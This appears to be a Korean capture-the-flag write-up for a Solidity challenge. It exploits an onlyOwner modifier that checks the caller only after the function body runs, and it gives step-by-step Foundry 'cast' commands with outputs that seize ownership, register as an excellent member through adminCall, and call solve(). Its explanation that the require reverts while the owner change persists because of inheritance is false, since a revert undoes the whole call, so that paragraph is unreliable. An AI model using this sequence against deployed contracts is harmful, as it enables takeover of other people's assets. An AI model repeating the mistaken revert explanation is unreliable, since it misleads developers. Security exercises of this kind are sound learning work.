modifier onlyOwner() {
    _;
    require(owner == msg.sender, "Only owner");
}
    
function transferOwnership(address newOwner) public virtual onlyOwner {
    owner = newOwner;
}

일단 Ownable contract를 살펴보면, modifier인 onlyOwner()의 검증이 로직이 실행 된 후에 되는 것을 확인할 수 있다.

이를 이용해 transferOwnership을 호출해 owner 권한을 먼저 탈취한다

→ 여기서 require문에서 revert가 발생함에도 owner값이 바뀌는 이유는 두 컨트랙트가 상속 구조를 가지고 있기 때문에, Ownable에 있는 변수들은 그대로 Ownable에 있고 내부의 함수는 ExcellentMember쪽에서 실행되기 때문이다. 다른 컨트랙트에서 call을 이용해서 호출한 경우 내부 동작은 commit이 미리 된다.

cast send $CONTRACT_ADDRESS \\
  "transferOwnership(address)" \\
  $USER_ADDRESS \\
  --rpc-url $RPC_URL \\
  --private-key $PRIVATE_KEY
  
cast call $CONTRACT_ADDRESS "owner()(address)" --rpc-url $RPC_URL
> 0x6858A312D9f61C219A429c2911771D369e8B63D5

그 후, registryExcellentMember() 함수를 최종적으로 호출하기 위해 setJoin() 함수 호출하여 USER_ADDRESS를 join에 넣어준다

cast send $CONTRACT_ADDRESS \\
  "setJoin(bool)" true \\
  --rpc-url $RPC_URL \\
  --private-key $PRIVATE_KEY
  
cast call $CONTRACT_ADDRESS "join(address)(bool)" $USER_ADDRESS --rpc-url $RPC_URL
> true

그 후, adminCall을 이용해 registryExcellentMember() 함수를 호출해 준다.

DATA=$(cast calldata "registryExcellentMember(address)" $USER_ADDRESS)
echo $DATA
> 0xed6b34630000000000000000000000006858a312d9f61c219a429c2911771d369e8b63d5

cast send $CONTRACT_ADDRESS \\
  "adminCall(address,bytes)" \\
  $CONTRACT_ADDRESS \\
  $DATA \\
  --rpc-url $RPC_URL \\
  --private-key $PRIVATE_KEY
  
  
cast call $CONTRACT_ADDRESS \\                                         
  "excellentMember(address)(bool)" \\
  $USER_ADDRESS \\
  --rpc-url $RPC_URL
> true

그 후, solve() 호출

cast send $CONTRACT_ADDRESS \\
  "solve()" \\
  --rpc-url $RPC_URL \\
  --private-key $PRIVATE_KEY
  
cast call $CONTRACT_ADDRESS "solved()(bool)" --rpc-url $RPC_URL
> true